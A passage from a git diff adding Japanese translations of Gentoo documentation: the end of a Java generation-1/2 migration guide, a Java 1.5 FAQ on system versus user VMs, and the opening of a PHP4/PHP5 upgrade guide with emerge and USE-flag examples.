+<pre caption="環境をチェックする">
+# <i>/usr/bin/java-check-environment</i>
+</pre>
+
+<note>
+このコマンドはrootではないユーザでも実行可能です。rootやシステムはGeneration 1 のVMのみ必要です。
+ユーザアカウントで実行した場合は、このスクリプトはそれが欠けていることについてエラーを返すでしょう。
+これは普通で、単にその部分は無視してください。
+</note>
+
+<p>
+示される内容は以下です。
+</p>
+
+</body>
+</section>
+<section>
+<title>バーチャルマシンのアップデート</title>
+<body>
+
+<p>
+最初のセクションは、古い<path>/etc/env.d/java</path>の<c>java-config</c>ファイルをチェックします。
+指示は簡単です。ただそれが示すファイルを取り除いてください。その後、それが示すパッケージを再度emergeしてください。
+</p>
+
+</body>
+</section>
+<section>
+<title>古いユーザー設定を削除する</title>
+<body>
+
+<p>
+次のセクションでは、<c>java-check-environment</c>がGeneration-1の設定をホームディレクトリにあることについて、丁寧に警告してくれます。
+これらのファイルはもはや現在の形式ではサポートされません。
+もし<c>java-check-environment</c>が問題を検出した場合は、アドバイスに従い、以下を実行します。
+</p>
+
+<note>これは非rootユーザにのみ適応されます。</note>
+
+<pre caption="古いユーザー設定を削除する">
+# <i>java-config-2 --list-available-vms</i>
+# <i>java-config-2 --set-user-vm &lt;Choice of VM&gt;</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Generation-1のシステムVMが設定されていることを確認する</title>
+<body>
+
+<p>
+次に起こりうるエラーはGeneration-1システムVMがない場合です。
+</p>
+
+<pre caption="Generation1のVMをセットする">
+# <i>java-config-1 -L</i>
+# <i>java-config-1 -S &lt;system-vm-of-choice-here&gt;</i>
+</pre>
+
+<impo>
+Generation-1のシステムVMは<b>必ず</b>JDK1.4である必要があります。まだない場合はemergeする必要があります。
+</impo>
+
+<note>
+いかなる場合もGeneration-1はJDK1.4である必要があります。
+これはGeneration-1のパッケージをビルドする場合やJava1.5でコンパイルされていないGeneration-2パッケージのために必要です。
+</note>
+
+<p>
+もちろん通常通り以下を実行する必要があります。
+</p>
+
+<pre caption="環境変数をアップデートする">
+# <i>env-update &amp;&amp; source /etc/profile</i>
+</pre>
+
+<p>
+念のため正しい環境になったか確認して下さい。
+</p>
+
+</body>
+</section>
+<section>
+<title>JDK1.5をGeneration-1 VMとする
+</title>
+<body>
+
+<p>
+次のチェックは、もし、JDK1.5をGeneration-1のシステムVMとしている場合です。
+この場合、JDK 1.4を代わりに使うようにすべきです。
+この時点までこのガイドに従ってきたなら、上記の手順に従い、単純にGeneration-1の新しいシステムVMとして設定するだけです。
+</p>
+
+<p>
+1.5のためにバイトコードをコンパイルしてきた可能性があります。
+これは警告"UnsupportedClassVersionError"を引き起こします。これを修正したければ以下を実行してください。
+</p>
+
+<pre caption="java-1.5-fixerスクリプトを実行する">
+<comment>まだこのツールを持っていない場合は、java-1.5-fixer をemerge して下さい</comment>
+# <i>emerge --noreplace javatoolkit portage-utils</i>
+<comment>java-1.5-fixerの実行</comment>
+# <i>/usr/bin/java-1.5-fixer</i>
+</pre>
+
+<impo>
+これまでJDK1.5を使用してきた場合、java-1.5-fixerを実行すべきです。
+これは散在するJDK1.5バイトコードが存在しないことを確実にします。
+</impo>
+
+<impo>
+java-1.5-fixerはJDK1.5でコンパイルされたパッケージをJDK1.4でリビルドする便利な機能を提供するだけです。
+これは完全ではなくすべてのシステムのパッケージを修正できるわけではありません。
+失敗した場合、失敗したパッケージをunmergeし、再度失敗したパッケージをemergeする必要があることがほとんどです。
+</impo>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>更新されたドキュメント</title>
+<section>
+<body>
+<p>
+これらの変更を反映するため、以下のドキュメントが更新されました。
+</p>
+
+<ul>
+ <li><uri link="/doc/en/java.xml">User Guide</uri>(<uri link="/doc/ja/java.xml">日本語訳</uri>)</li>
+ <li><uri link="java-devel.xml">Developer Guide</uri></li>
+</ul>
+</body>
+
+</section>
+</chapter>
+
+<chapter>
+<title>共通の問題や質問</title>
+
+<section>
+<title>
+java-check-environmentは何度も同じVMについての問題を出力します。
+また、java-config-1 -Lが何も出力しません。　
+</title>
+<body>
+
+<p>
+これはunmaskするキーワードが間違っているために起こっています。
+これを修正するには、新しいJavaシステムに関するすべてをunmaskするように設定する必要があります。
+</p>
+
+<p>
+具体的には、たいていの場合、システムにインストールしたVMのすべてがunmaskされるよう設定されていないことが原因です。
+</p>
+
+</body>
+</section>
+
+<section>
+<title>なぜJDK1.5をGeneration-1のシステムVMとして使用できないのか</title>
+<body>
+
+<p>
+JDK1.5をGeneration-1のシステムVMとして用いる事で、最初の段階でpackege.maskとなった原因の、全ての問題に遭遇するでしょう。
+</p>
+
+<p>
+しばらくの間何人かの人々は、JDK1.5をシステムVMとして用いることに問題はありませんでしたが、多くのパッケージでは問題を抱えていました。
+特に新しいJavaシステムに変更されていない全てのパッケージを動作させるため、JDK1.4は必要です。
+</p>
+
+</body>
+</section>
+
+<section>
+<title>アプリケーションが使おうとするJAVA_HOMEはGeneration-1 VMに設定されます</title>
+<body>
+
+<p>
+いくつかのアプリケーションはJAVA_HOMEにより、javaを呼び出します。
+そのため、JAVA_HOMEはGeneration-1のシステムVMが何なのか設定されています。(すなわち<path>/etc/env.d/20java</path>)
+これは特定のアプリケーションが新しいeclassを使用するように変更されると問題となるでしょう。
+</p>
+
+<p>
+回避方法は、下記に従いJAVA_HOMEを設定してください。
+</p>
+
+<pre caption="環境をチェックする">
+if [[ -L $HOME/.gentoo/java-config-2/current-user-vm ]]; then
+  export JAVA_HOME=$HOME/.gentoo/java-config-2/current-user-vm
+elif [[ -L /etc/java-config-2/current-system-vm ]]; then
+  export JAVA_HOME=/etc/java-config-2/current-system-vm
+fi
+</pre>
+
+<p>
+これを<path>.bash_profile</path>に含めることもできますが、推奨されていません。
+これは新しいシステムが取り除いた余計な物について、環境につながりが残したままになるためです。
+例えば、ユーザvmの設定がない場合システムVMが採用されます。
+もし後でユーザVMを設定するなら、JAVA_HOMEを正しく取得できるように<path>~/.bash_profile</path>を読み込む必要があります。
+</p>
+      
+<warn>
+これらをrootユーザの<path>bash_profile</path>に使用しないでください。
+もし JDK 1.5のVMをGeneration-2のシステムVMとしていた場合、Generation-1のパッケージを壊すことになります。
+</warn>
+
+<p>
+よいアプローチはアプリケーションの移行を新しいビルドシステム上で行い、適切に動くことを確実にする方法です。
+もし、特定のアプリケーションの実行で問題に悩まされたら、#gentoo-javaの<mail link="nichoj@gentoo.org">nichoj</mail>にコンタクトを取っるか、gentoo-javaメーリングリストにメッセージを出してください。
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/ja/java/tiger-faq.xml b/xml/htdocs/proj/ja/java/tiger-faq.xml
new file mode 100644
index 00000000..6c258e0e
--- /dev/null
+++ b/xml/htdocs/proj/ja/java/tiger-faq.xml
@@ -0,0 +1,273 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ja/java/tiger-faq.xml,v 1.3 2006/05/20 16:17:55 idani Exp $ -->
+
+<guide link="/proj/ja/java/tiger-faq.xml" lang="ja">
+<title>Gentoo Java 1.5 FAQ</title>
+
+<author title="Author">
+  <mail link="nichoj@gentoo.org">Joshua Nichols</mail>
+</author>
+
+<author title="Author">
+  <mail link="karltk@gentoo.org">Karl Trygve Kalleberg</mail>
+</author>
+
+<author title="翻訳">
+  <mail link="igarashi@gentoo.gr.jp">五十嵐 正尚</mail>
+</author>
+
+<abstract>
+このFAQはGentooのJava 1.5サポートに関する問題を対象としています。
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2006-04-23</date>
+
+<!-- Original revision: 1.19 -->
+
+<chapter>
+<title>なぜJava 1.5はまだhard-maskされているのですか?</title>
+<section>
+<body>
+
+<p>
+  Java 1.5はまだhard maskされています。
+  1.5 JDKをシステムVMとして使用することを阻害する多くの問題があるためです。
+</p>
+
+<p>
+  Java 1.5にある最初の問題は後方互換性です。
+  パッケージを1.5 JDKでコンパイルすると、
+  コンパイルされたクラスは1.5またはそれ以上のバージョンのVMでのみ利用可能になるのが、デフォルトの動作です。
+</p>
+
+<p>
+  以下で詳しく述べるように、Javaチームはできるだけ古いバージョンのVMに対しクラスをコンパイルする方法に取り組んでいます。
+</p>
+
+<p>
+  別の大きな問題は、JDK 1.5と互換性のないパッケージがあり、現在のportageツリーに存在しています。
+  例えば1.5では、いくつかのabstract classとinterfaceにabstractメソッドが新設されています。
+  これは、それらabstractメソッドをオーバーライドするための修正が必要になるということを意味します。
+  もし心配なら、そのような面倒なパッケージをコンパイルするのに、1.4を使用してみることもできます。
+  しかし、上記で述べた後方互換性の問題が原因で外部ライブラリを使用することができません。
+  なぜなら、外部ライブラリは1.5向けとしてのみコンパイルされているからです。
+</p>
+
+</body>
+</section>
+</chapter>
+
+
+<chapter>
+<title>どうすればシステムを壊さずにJava 1.5を安全に使用できますか?</title>
+<section>
+<body>
+ <p>
+   既に述べたように、システムVMとして1.5 JDKを使用するべきではありません。
+   しかし、ユーザVMとして使用するのは安全です。
+ </p>
+
+  <note>
+    Java 1.5を使う予定でしたら次のセクションで説明するoverlayを試すことをお勧めします。
+  </note>
+
+  <p>
+    まずは、sun-jdk-1.5と1.4 JDKのどれかをemergeします(まだそれらを実行していない場合)。
+  </p>
+
+<pre caption="JDKのemerge"><comment>最初にsun-jdk-1.5をunmaskしてください。</comment>
+# echo "=dev-java/sun-jdk-1.5*" >> /etc/portage/package.unmask
+# echo "=dev-java/sun-jdk-1.5*" >> /etc/portage/package.keywords
+# emerge =sun-jdk-1.5*
+<comment>そして1.4 JDKのどれか一つをemergeします。この例ではblackdownを使用します。</comment>
+# emerge =blackdown-jdk-1.4*
+</pre>
+
+<p>
+  次にシステムVMが1.4 JDKに設定されていることを確認します。
+</p>
+
+<pre caption="システムVMの設定"><comment>インストール済みのVMを表示するためにjava-configを使用します。</comment>
+# java-config -L
+[sun-jdk-1.5.0.05] "Sun JDK 1.5.0.05" (/etc/env.d/java/20sun-jdk-1.5.0.05)
+[kaffe-1.1.6] "Kaffe 1.1.6" (/etc/env.d/java/20kaffe-1.1.6)
+[blackdown-jdk-1.4.2.02] "Blackdown JDK 1.4.2.02" (/etc/env.d/java/20blackdown-jdk-1.4.2.02)
+
+<comment>システムVMに1.4 JDKを使用するように設定</comment>
+# java-config -S blackdown-jdk-1.4.2.02
+System Virtual Machine set
+You may want to update your enviroment by running:
+        "/usr/sbin/env-update &amp;&amp; source /etc/profile"
+# /usr/sbin/env-update &amp;&amp; source /etc/profile
+</pre>
+
+  <p>
+    そして、ユーザVMをsun-jdk-1.5にする設定をします。
+  </p>
+
+<pre caption="ユーザVMの設定"><comment>インストール済みのVMを表示するためにjava-configを使用します。</comment>
+$ java-config -L
+[sun-jdk-1.5.0.05] "Sun JDK 1.5.0.05" (/etc/env.d/java/20sun-jdk-1.5.0.05)
+[kaffe-1.1.6] "Kaffe 1.1.6" (/etc/env.d/java/20kaffe-1.1.6)
+[blackdown-jdk-1.4.2.02] "Blackdown JDK 1.4.2.02" (/etc/env.d/java/20blackdown-jdk-1.4.2.02)
+
+<comment>ユーザVMをsun-jdk-1.5に設定</comment>
+$ java-config -s sun-jdk-1.5.0.05
+Env files in /home/someuser/.gentoo updated. Source these in your shell's profile.
+
+<comment>ログイン時にJavaの設定が読み込まれるようにbash_profileを調整</comment>
+$ echo "source ~/.gentoo/java-env" >> ~/.bash_profile
+<comment>使用中の端末の環境を更新</comment>
+$ source ~/.gentoo/java-env
+</pre>
+
+  <warn>
+    1.5 JDKの更新時には気をつけてください!
+    JDKをemergeすると常にそのJDKがシステムVMとして設定されます。
+    これは現行のシステムの制限事項です。
+  </warn>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>システムVMとして1.5 JDKをサポートするための進行中の作業はありますか?</title>
+<section>
+<body>
+  <p>
+    1.5のサポートに向けての作業が進行しているという朗報があります。
+    Java 1.5のmaskが外されるためには大きな変更が必要です。
+    Thomas Mathijs (axxo)は彼のoverlayでそのための膨大な作業を終えています。
+  </p>
+
+  <p>
+    現在はaxxo-overlay上での作業は完了し、新しいoverlayであるmigration-overlay上で作業しています。
+    このoverlayは古いシステムから新しいシステムに移行する方法を提供します。
+  </p>
+
+  <p>
+    最も重要な改良点には以下のものがあります。
+  </p>
+  <ul>
+    <li>
+      マージ時VM切り替え機能 (<uri link="http://bugs.gentoo.org/86900">
+      #86900</uri>)
+    </li>
+    <li>
+      マージ時build.xml書き換え機能 (<uri link="http://bugs.gentoo.org/86903">
+      #86903</uri>)
+    </li>
+    <li>
+      java-configの新しいバージョン。
+    </li>
+    <li>
+      ユーザVMとシステムVMを選択するために、PATH環境変数での細工の代わりにより柔軟性のあるシンボリックリンクを使用。
+    </li>
+    <li>
+       jikes USEフラグの削除。よって、javac、eclipse-ecj、jikesの選択が簡単に可能
+    </li>
+  </ul>
+
+  <p>
+    migration-overlayの使用に関する最新のドキュメントは<uri link="https://projects.gentooexperimental.org/expj/wiki/Using_migration-overlay">ここ</uri>で整備されています。
+  </p>
+
+  <p>
+    以下のJavaのドキュメントはこの新しいoverlayの使い方に合わせて更新されています。
+  </p>
+
+  <ul>
+    <li><uri link="http://gentooexperimental.org/svn/java/axxo-overlay/README/docs/java-user.html">User Guide</uri></li>
+    <li><uri link="http://gentooexperimental.org/svn/java/axxo-overlay/README/docs/java-devel.html">Developer Guide</uri></li>
+  </ul>
+
+  <p>
+    以下の'Migration'セクションに補足資料があります。
+  </p>
+
+  <ul>
+    <li><uri link="https://projects.gentooexperimental.org/expj/">The ExpJ Wiki</uri></li>
+  </ul>
+
+  <p>
+    <mail link="java@gentoo.org">私たち</mail>はこのoverlayに対するどんな意見/提案/修正/パッチも歓迎します。
+  </p>
+
+</body>
+</section>
+
+<section>
+<title>なぜportageを更新する必要がありますか?</title>
+<body>
+  <p>
+    比較的新しいportageによって提供される「フェーズフック機構」が必要です。
+    基本的には、各フェーズ(src_unpack、src_compile、src_install)の前に呼ばれる関数を定義できる機構です。。
+    そのフック機構を使用すると、ビルド時に意図するJDKが使用されることを確実にすることができます。
+  </p>
+</body>
+</section>
+
+<section>
+<title>
+  overlayのebuildのdigest妥当性チェックがときどき失敗するのはなぜですか?
+</title>
+<body> 
+  <p>
+    開発者はoverlayに変更を加えた後にdigestの再生成をときどき忘れるので、妥当性チェックが失敗します。
+    FEATURES="-strict"を使用するかユーザ自身でebuild manifestを実行することで回避できます。
+  </p>
+</body>
+</section>
+
+<section>
+<title>Portageツリーに統合されるのはいつですか?</title>
+<body>
+  <p>
+    overlayはPortageにフック機構を必要としているので、stableユーザに提供可能になる一番早い時期は、2.0.55か2.1がstableになった後です。
+    archに挑む前に、手始めに~archにこれらの変更を導入できるような多くの対策を施しました。
+  </p>
+
+  <p>
+    ~archにいつ入れるかということについては、特に期限を設けていません。
+    移行作業を行う人手が限られていますし、すべての不備が解決されることを確認したいと思います。
+    よって、準備が整うまで待ってください。
+  </p>
+</body>
+</section>
+
+<section>
+<title>このoverlayの進行状況に関する最新のニュースはどこで見つかりますか?</title>
+<body>
+  <p>
+    'gentoo-java'メーリングリストに参加することをお勧めします。
+    すべての最新のニュースは少なくともそこで公表されます。
+    参加方法に関する詳しい情報は<uri link="http://www.gentoo.org/main/en/lists.xml">ここ</uri>にあります。
+  </p>
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>
+  それで、1.5 JDKを使うことによってシステムを壊してしまいました...どうやって直せばいいですか?
+</title>
+<section>
+<body>
+  <p>
+    システムVMに1.5 JDKを使用している方はmigration-overlayに切り替えることをお勧めします。
+    そのoverlayを使用するための説明書に、すべてが1.4 JDKでリコンパイルされることを確実にする方法が記述されています。
+
+  </p>
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/ja/php/php-upgrading.xml b/xml/htdocs/proj/ja/php/php-upgrading.xml
new file mode 100644
index 00000000..eb99922f
--- /dev/null
+++ b/xml/htdocs/proj/ja/php/php-upgrading.xml
@@ -0,0 +1,684 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ja/php/php-upgrading.xml,v 1.4 2006/05/02 14:37:02 idani Exp $ -->
+
+<guide link="/proj/ja/php/php-upgrading.xml" lang="ja">
+<title>PHPのアップグレード</title>
+
+<author title="Author">
+ <mail link="akorthaus@web.de">Andreas Korthaus</mail>
+</author>
+<author title="翻訳">
+ <mail link="idani@gentoo.org">Shigehiro IDANI</mail>
+</author>
+
+<abstract>
+このドキュメントでは、エンドユーザがPHPを安全にアップグレードするために理解すべきインストール手順を説明します。
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1</version>
+<date>2006-03-19</date>
+<!-- Original revision: 1.4 -->
+
+<chapter>
+<title>はじめに</title>
+<section>
+<body>
+
+<p>
+これまで、何故、まだPortageでPHP5がstableにマークされていないのか？というたくさんの要望がありました。
+これはPHP5パッケージ自体の問題ではありません。
+PHP5がstableにまだマークされない主たる要因は、PHP5で動作しない、たくさんのアプリケーション、PHPの拡張機能やパッケージがPortageにあり、私たちにはどうすることも出来ないからです。
+PHP5は、PHP4との100％完全な後方互換性がなく、すべてのPHP4で開発されたプログラムがPHP5の環境で実行するための移植作業が、できなかったり、されてなかったりしていました。
+しかし、たくさんのユーザがこれからも長い間PHP4のサポートを必要としています。
+</p>
+
+<p>
+この問題を解決するための解答は、同時に1つのLinux BoxにPHP4とPHP5の環境を同時に提供することです。
+しかし、現在のPHPパッケージとeclassのレイアウトでは不可能でした。このため新しいレイアウト、新しいeclass、新しいebuildへ移行するために多大な努力を行う必要がありました。
+</p>
+
+<p>
+このドキュメントでは、システムを停止することなくどのようにアップグレードするかを詳細に説明します。
+</p>
+
+<note>
+新しいPHPパッケージは、新しいApacheレイアウトを必要とします。このためApacheをまだ、アップグレードしていない方は、<uri 
+link="/doc/en/apache-upgrading.xml">Upgrading Apache</uri>(<uri 
+link="/doc/ja/apache-upgrading.xml">日本語訳</uri>)をご覧ください。
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>変更点</title>
+<section>
+<title>基本的なPHPパッケージの統合</title>
+<body>
+
+<p>
+すべてのPHPのebuildである<c>dev-php/php</c>、<c>dev-php/php-cgi</c>と
+<c>dev-php/mod_php</c>は、<c>dev-lang/php</c>へ統合されました。
+</p>
+
+<p>
+SAPIを使用したい場合は、以下のUSEフラグを使用してください。
+</p>
+
+<ul>
+  <li><c>cgi</c> - <path>/usr/bin/php-cgiをビルド &amp; インストールする場合に使用</path></li>
+  <li><c>cli</c> - <path>/usr/bin/php</path>をビルド &amp; インストールする場合に使用</li>
+  <li><c>apache</c> - Apache 1.3(新しいレイアウト)向けの<c>mod_php</c>をビルド&amp;インストールする場合に使用</li>
+  <li><c>apache2</c> - Apache 2.0(新しいレイアウト)向けの<c>mod_php</c>をビルド&amp;インストールする場合に使用</li>
+</ul>
+
+<p>
+上記のUSEフラグを様々にうまく組み合わせて使用できます。ただし、<c>apache</c>と<c>apache2</c>を同時に使用することはできません。
+</p>
+
+<p>
+これらのebuildで最も重要なことは、PHP4とPHP5を同時にインストールすることができることです。
+</p>
+
+<pre caption="PHPをインストールする">
+<comment>(CLIとApache2モジュールに対応した最新バージョンのPHPをインストールする)</comment>
+<i>USE="cli apache2" emerge 'dev-lang/php'</i>
+
+<comment>(PHP4のみをインストールする)</comment>
+<i>USE="cli apache2" emerge '=dev-lang/php-4*'</i>
+
+<comment>(PHP4とPHP5の両方をインストールする)</comment>
+<i>USE="cli apache2" emerge '=dev-lang/php-4*' '=dev-lang/php-5*'</i>
+</pre>
+
+<note>
+USEフラグは、このようにセットするのではなく、これから説明するように、<path>/etc/portage/package.use</path>で設定してください。
+</note>
+  
+</body>
+</section>
+
+<section>
+<title>新しいPortageカテゴリ</title>
+<body>
+
+<p>
+新しいPHPのebuildは、<c>dev-php</c>から<c>dev-lang/php</c>へ移動しました。
+PHP4とPHP5を独立したパッケージとしてインストールできるようにするために、<c>dev-php4</c> と<c>dev-php5</c>という、2つの新しいPortageカテゴリが作成されました。
+これらのカテゴリは、主に<c>pecl-pdo</c>、<c>pecl-apc</c>、<c>php-java-bridge</c>、<c>xdebug</c>といったPECLパッケージで使われます。
+</p>
+
+<p>
+<c>pecl-apc</c>をインストールには、以下のようにします。
+</p>
+
+<pre caption="PECL::APCのようなPHPの拡張機能をインストールする例">
+<comment>(PHP4向けのAPCをインストールする)</comment>
+<i>emerge dev-php4/pecl-apc</i>
+
+<comment>(PHP5向けのAPCをインストールする)</comment>
+<i>emerge dev-php5/pecl-apc</i>
+
+<comment>(PHP4とPHP5の両方へAPCをインストールする)</comment>
+<i>emerge dev-php4/pecl-apc dev-php5/pecl-apc</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>新規ディレクトリ</title>
+<body>
+
+<ul>
+  <li>
+  これらの新しいebuildは、<path>/usr/lib/php4</path>と<path>/usr/lib/php5</path>へ
+  インストールします(Apache用のモジュールは、Apacheに合わせた正しい場所へ挿入されます)。
+  </li>
+  <li>
+  PEARパッケージとその他のPHPライブラリは、<path>/usr/share/php</path>(以前は、<path>/usr/lib/php</path>でした)にインストールされます。
+  </li>
+  <li>
+  PECLパッケージは、もはや<path>php.ini</path>ファイルに設定ディレクティブを追加することはしません。
+  その代わり、<path>[PACKAGE].ini</path>ファイルが<path>/etc/php/[SAPI]/ext</path>ディレクトリに追加されます。
+  </li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>PHPバイナリへのシンボリックリンク</title>
+<body>
+
+<p>
+たとえば、1つ以上のPHPバージョンをインストールする場合を説明します。
+</p>
+
+<pre caption="PHP4とPHP5をemergeする">
+<i>USE="cgi cli apache2" emerge '=dev-lang/php-4*' '=dev-lang/php-5*'</i>
+</pre>
+
+<p>
+ebuildは、<path>/usr/bin</path>にインストールされた最後のバージョンのPHPへシンボリックリンクを作成します。
+上記の場合、PHP4より後にPHP5がインストールされたので、PHP5へシンボリックリンクが作成されます。
+<path>/usr/bin/php</path>や、<path>/usr/bin/php-cgi</path>ではPHP4をリンクしたい場合、または、ある場合にはPHP4、別の場合にはPHP5にリンクしたい場合は、<c>app-admin/php-toolkit</c>で提供される<uri 
+link="#doc_chap3_sect5">php-select tool</uri>を使うことができます。<c>php-select</c>により、適切なバイナリにシンボリックリンクを簡単に作成できます。
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>アップグレード手順</title>
+<section>
+<title>アップグレードするためのパッケージを見つける</title>
+<body>
+
+<p>
+初めに、アップグレードをするために必要な追加パッケージを特定する必要があります。
+<c>app-portage/gentoolkit</c>パッケージに含まれる<c>equery</c>ツールを使用して特定することができます。
+</p>
+
+<pre caption="dev-phpカテゴリの中でインストール済みパッケージを一覧表示する">
+$ <i>equery list 'dev-php/'</i>
+[ Searching for all packages in 'dev-php' among: ]
+ * installed packages
+[I--] [  ] dev-php/php-4.4.0 (0)
+[I--] [  ] dev-php/mod_php-4.4.0 (1)
+[I--] [  ] dev-php/smarty-2.6.10 (0)
+[I--] [  ] dev-php/PEAR-PEAR-1.3.5-r1 (0)
+[I--] [  ] dev-php/PEAR-Mail-1.1.6 (0)
+[I--] [  ] dev-php/PEAR-MDB-1.3.0 (0)
+[I--] [  ] dev-php/PECL-apc-3.0.6 (0)
+[I--] [  ] dev-php/PECL-imagick-0.9.11 (0)
+[I--] [  ] dev-php/xdebug-2.0.0_beta3 (0)
+</pre>
+
+<impo>
+インストール済みパッケージは上記と非常に異なるかもしれません。上記コマンドを自分自身で必ず実行してください。すべてのパッケージを間違いなくアップグレードするように、上記の出力されたリストを保存しておいてください。
+</impo>
+
+<note>
+大部分のWebアプリケーションでは、自分自身を適切にインストールする
+Webアプリケーションeclassを使用しています。
+従って、多くのWebアプリケーションは何も影響を受けません。
+新しいバージョンがあるかどうか確かめたいかもしれません。
+</note>
+
+<p>
+たとえば以下のようなPHPの拡張機能は、
+</p>
+
+<ul>
+  <li><c>PECL-apc</c></li>
+   <li><c>PECL-imagick</c></li>
+   <li><c>xdebug</c></li>
+</ul>
+
+<p>
+両方のPHPバージョンで独立して使用できるようにするために、
+<c>dev-php4</c>と<c>dev-php5</c>の2つのPortageカテゴリに別けられています。
+さらにこれらのパッケージの大部分は、名前が変更されています。
+</p>
+
+<p>
+新しいディレクトリと名前変更された例を以下に紹介します。
+</p>
+
+<table>
+  <tr>
+    <th>PHP拡張機能</th>
+    <th>以前のパッケージ名</th>
+    <th>新しいPHP4でのパッケージ名</th>
+    <th>新しいPHP5でのパッケージ名</th>
+  </tr>
+  <tr>
+    <ti>APC</ti>
+    <ti>dev-php/PECL-apc</ti>
+    <ti>dev-php4/pecl-apc</ti>
+    <ti>dev-php5/pecl-apc</ti>
+  </tr>
+  <tr>
+    <ti>Imagick</ti>
+    <ti>dev-php/PECL-imagick</ti>
+    <ti>dev-php4/pecl-imagick</ti>
+    <ti>dev-php5/pecl-imagick</ti>
+  </tr>
+  <tr>
+    <ti>Xdebug</ti>
+    <ti>dev-php/xdebug</ti>
+    <ti>dev-php4/xdebug</ti>
+    <ti>dev-php5/xdebug</ti>
+  </tr>
+</table>
+
+<note>
+これらの拡張機能をemergeする前に、再度、どのようにパッケージの名前が変更されているか、<path>/usr/portage</path>の中を調査する必要があります。
+</note>
+
+</body>
+</section>
+
+<section>
+<title>以前の古いパッケージを削除する</title>
+<body>
+
+<p>
+GentooでPHPの導入方法に関してたくさんの変更が加えられました。
+新しいパッケージをインストールする前に、古いPHPパッケージを完全に削除しなければなりません。
+</p>
+
+<pre caption="古いパッケージの削除(一例)">
+<comment>(PHPパッケージをunmergeする)</comment>
+<i>emerge --unmerge php mod_php</i>
+
+<comment>(PHPの拡張機能をunmergeする)</comment>
+<i>emerge --unmerge PECL-apc PECL-imagick xdebug</i>
+
+<comment>(PHPライブラリとアプリケーションをunmergeする)</comment>
+<i>emerge --unmerge PEAR-PEAR PEAR-Mail PEAR-MDB smarty</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>USEフラグを設定する</title>
+<body>
+
+<p>
+いくつかの新しいUSEフラグを追加しましたので、それらを再確認し<path>/etc/portage/package.use</path>(存在しない場合には作成してください)に適切な行を追加したいかもしれません。
+</p>
+
+<note>
+<path>/etc/portage/package.use</path>に、PHPのインストールのためのUSEフラグを設定しましょう。
+<path>make.conf</path>を使ってシステム全体の変更をすることはないことを憶えておいてください。
+</note>
+
+<p>
+PHPインストールでサポートしたい機能に即してUSEフラグを設定してください
+(最低でも<c>cli</c>USEフラグを設定することを推奨します)。
+
+</p>
+
+<pre caption="dev-lang/php向けUSEフラグ(例)">
+dev-lang/php -* cli apache2 ctype expat fastbuild ftp gd hash iconv memlimit mysql nls pcre pic pdo reflection session simplexml sockets spl ssl tokenizer truetype unicode xml xsl zlib
+</pre>
+
+<note>
+<c>-*</c>は、すべてのUSEフラグを無効にします(これにより基本的なPHPの機能、Session-、PCRE-、gd-とMySQL-サポートさえも無効になります)。このため使用したいいくつかの機能、拡張機能のすべてのUSEフラグを明確化する必要があります。
+詳細は、<uri 
+link="http://svn.gnqs.org/projects/gentoo-php-overlay/wiki/ManagingExtensions">
+Managing Extensions</uri>を参照ください。
+<uri 
+link="http://svn.gnqs.org/projects/gentoo-php-overlay/wiki/PhpRefPcre">preg_* 
+Functions</uri>を使用したい場合は<c>pcre</c>を、<uri 
+link="http://svn.gnqs.org/projects/gentoo-php-overlay/wiki/PhpRefSession">Session 
+Handling Functions</uri>を使用したい場合は<c>session</c>という様に上位の標準のUSEフラグを設定する必要があります。
+</note>
+
+<p>
+並行してPHP4とPHP5をインストールしたい場合、それぞれのバージョンで異なるUSEフラグを設定することができます。
+</p>
+
+<pre caption="PHP4とPHP5で異なるUSEフラグを設定する(例)">
+=dev-lang/php-4* -* cli cgi apache2 ctype expat fastbuild force-cgi-redirect ftp gd iconv ipv6 memlimit mysql nls pcre pic posix session sockets ssl tokenizer truetype unicode xml xsl zlib
+=dev-lang/php-5* -* cli cgi apache2 ctype fastbuild force-cgi-redirect ftp gd hash iconv ipv6 memlimit mysql nls pcre pic posix pdo reflection session simplexml soap sockets spl sqlite ssl tokenizer truetype unicode xml xmlreader xmlwriter xsl zlib
+</pre>
+
+<note>
+推奨するUSEフラグの一覧として、
+<uri 
+link="http://svn.gnqs.org/projects/gentoo-php-overlay/wiki/CommonQuestions#DoYouRecommendAnyUSEFlags">
+Recommend USE flags</uri>をご覧ください。PHPで利用可能なすべてのUSEフラグの一覧として、
+overlay wikiにある<uri 
+link="http://svn.gnqs.org/projects/gentoo-php-overlay/wiki/NewUseFlags">USE 
+flags table</uri>をご覧ください。
+</note>
+
+</body>
+</section>
+
+<section>
+<title>PHPをemergeする</title>
+<body>
+
+<p>
+PHP4のみ、PHP5のみ、同時に両方をインストールするかを選べます。
+PHP4のみをインストールする場合には、<c>=dev-lang/php-4*</c>でemergeします。
+PHP5(最新)のみインストールする場合には、<c>dev-lang/php</c>を使用できます。
+同時に両方をインストールする場合には、<c>=dev-lang/php-4*</c>と<c>=dev-lang/php-5*</c>をemergeします。
+</p>
+
+<p>
+USEフラグの設定を確認します。
+</p>
+
+<pre caption="USEフラグの確認(例)">
+<comment>(PHP4パッケージの確認)</comment>
+<i>emerge --pretend --verbose '=dev-lang/php-4*'</i>
+
